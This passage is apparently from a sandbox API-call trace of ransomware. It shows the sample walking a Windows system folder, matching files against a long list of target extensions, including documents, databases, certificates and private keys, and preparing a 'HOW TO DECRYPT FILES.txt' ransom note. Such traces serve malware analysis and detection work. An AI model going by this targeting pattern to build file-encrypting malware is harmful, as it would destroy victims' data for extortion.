[0099.089] lstrlenA (lpString="*.ppt") returned 5 [0099.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.pptx") returned 0 [0099.090] lstrlenA (lpString="*.pptx") returned 6 [0099.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.doc") returned 0 [0099.090] lstrlenA (lpString="*.doc") returned 5 [0099.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.dot") returned 0 [0099.090] lstrlenA (lpString="*.dot") returned 5 [0099.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.docx") returned 0 [0099.090] lstrlenA (lpString="*.docx") returned 6 [0099.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.7z") returned 0 [0099.090] lstrlenA (lpString="*.7z") returned 4 [0099.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.tar") returned 0 [0099.091] lstrlenA (lpString="*.tar") returned 5 [0099.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.bz2") returned 0 [0099.091] lstrlenA (lpString="*.bz2") returned 5 [0099.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.gz") returned 0 [0099.091] lstrlenA (lpString="*.gz") returned 4 [0099.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.mkv") returned 0 [0099.091] lstrlenA (lpString="*.mkv") returned 5 [0099.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.eml") returned 0 [0099.091] lstrlenA (lpString="*.eml") returned 5 [0099.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.msg") returned 0 [0099.091] lstrlenA (lpString="*.msg") returned 5 [0099.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.edb") returned 0 [0099.091] lstrlenA (lpString="*.edb") returned 5 [0099.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.accdb") returned 0 [0099.091] lstrlenA (lpString="*.accdb") returned 7 [0099.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.odb") returned 0 [0099.091] lstrlenA (lpString="*.odb") returned 5 [0099.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.java") returned 0 [0099.092] lstrlenA (lpString="*.java") returned 6 [0099.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.asm") returned 0 [0099.092] lstrlenA (lpString="*.asm") returned 5 [0099.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.pfx") returned 0 [0099.092] lstrlenA (lpString="*.pfx") returned 5 [0099.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.pem") returned 0 [0099.092] lstrlenA (lpString="*.pem") returned 5 [0099.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.p12") returned 0 [0099.092] lstrlenA (lpString="*.p12") returned 5 [0099.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.gpg") returned 0 [0099.092] lstrlenA (lpString="*.gpg") returned 5 [0099.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.vsd") returned 0 [0099.092] lstrlenA (lpString="*.vsd") returned 5 [0099.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.odg") returned 0 [0099.092] lstrlenA (lpString="*.odg") returned 5 [0099.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.raw") returned 0 [0099.092] lstrlenA (lpString="*.raw") returned 5 [0099.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.nef") returned 0 [0099.093] lstrlenA (lpString="*.nef") returned 5 [0099.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.svg") returned 0 [0099.093] lstrlenA (lpString="*.svg") returned 5 [0099.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.psd") returned 0 [0099.093] lstrlenA (lpString="*.psd") returned 5 [0099.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.vmx") returned 0 [0099.093] lstrlenA (lpString="*.vmx") returned 5 [0099.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.vmdk") returned 0 [0099.093] lstrlenA (lpString="*.vmdk") returned 6 [0099.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.vdi") returned 0 [0099.093] lstrlenA (lpString="*.vdi") returned 5 [0099.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.lay6") returned 0 [0099.093] lstrlenA (lpString="*.lay6") returned 6 [0099.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.mpeg") returned 0 [0099.093] lstrlenA (lpString="*.mpeg") returned 6 [0099.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.djvu") returned 0 [0099.093] lstrlenA (lpString="*.djvu") returned 6 [0099.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.tiff") returned 0 [0099.093] lstrlenA (lpString="*.tiff") returned 6 [0099.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.backup") returned 0 [0099.094] lstrlenA (lpString="*.backup") returned 8 [0099.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.pdf") returned 0 [0099.094] lstrlenA (lpString="*.pdf") returned 5 [0099.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.cert") returned 0 [0099.094] lstrlenA (lpString="*.cert") returned 6 [0099.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.docm") returned 0 [0099.094] lstrlenA (lpString="*.docm") returned 6 [0099.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.xlsm") returned 0 [0099.094] lstrlenA (lpString="*.xlsm") returned 6 [0099.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.dwg") returned 0 [0099.094] lstrlenA (lpString="*.dwg") returned 5 [0099.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.nd") returned 0 [0099.094] lstrlenA (lpString="*.nd") returned 4 [0099.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.tlg") returned 0 [0099.094] lstrlenA (lpString="*.tlg") returned 5 [0099.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.lgb") returned 0 [0099.094] lstrlenA (lpString="*.lgb") returned 5 [0099.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.mov") returned 0 [0099.094] lstrlenA (lpString="*.mov") returned 5 [0099.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.xdw") returned 0 [0099.094] lstrlenA (lpString="*.xdw") returned 5 [0099.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.ods") returned 0 [0099.095] lstrlenA (lpString="*.ods") returned 5 [0099.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.wav") returned 0 [0099.095] lstrlenA (lpString="*.wav") returned 5 [0099.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.mp3") returned 0 [0099.095] lstrlenA (lpString="*.mp3") returned 5 [0099.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.aiff") returned 0 [0099.095] lstrlenA (lpString="*.aiff") returned 6 [0099.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.flac") returned 0 [0099.095] lstrlenA (lpString="*.flac") returned 6 [0099.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.m4a") returned 0 [0099.095] lstrlenA (lpString="*.m4a") returned 5 [0099.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.csv") returned 0 [0099.095] lstrlenA (lpString="*.csv") returned 5 [0099.095] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60d7a190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60d7a190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d7a190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0099.095] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0099.095] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60d7a190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60d7a190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d7a190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 0 [0099.096] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0099.096] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa30e40f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa30e40f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa30e40f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69006c, dwReserved1=0x720063, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0", cAlternateFileName="MI3FF0~1.0")) returned 1 [0099.096] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0") returned -1 [0099.096] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0") returned -1 [0099.096] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0099.096] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0" [0099.096] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0") returned 88 [0099.096] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa30e40f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa30e40f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa30e40f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0099.097] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.097] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa30e40f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa30e40f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa30e40f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.097] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.097] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.097] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69b41ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69b41ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69b41ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 1 [0099.097] lstrcmpA (lpString1=".", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.097] lstrcmpA (lpString1="..", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.097] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\*.*") returned="*.*" [0099.097] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\", lpString2="9.0.0.0__b03f5f7f11d50a3a" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a" [0099.097] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a") returned 114 [0099.097] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69b41ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69b41ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69b41ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0099.098] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.098] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69b41ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69b41ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69b41ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.098] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.098] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.098] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69b41ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69b41ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69b41ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0099.098] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0099.098] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll") returned -1 [0099.098] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll") returned -1 [0099.098] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll") returned -1 [0099.098] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0099.098] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" [0099.098] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\") returned="" [0099.098] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" [0099.098] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.excel.addinadapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt")) returned 0xffffffff [0099.099] CreateFileA 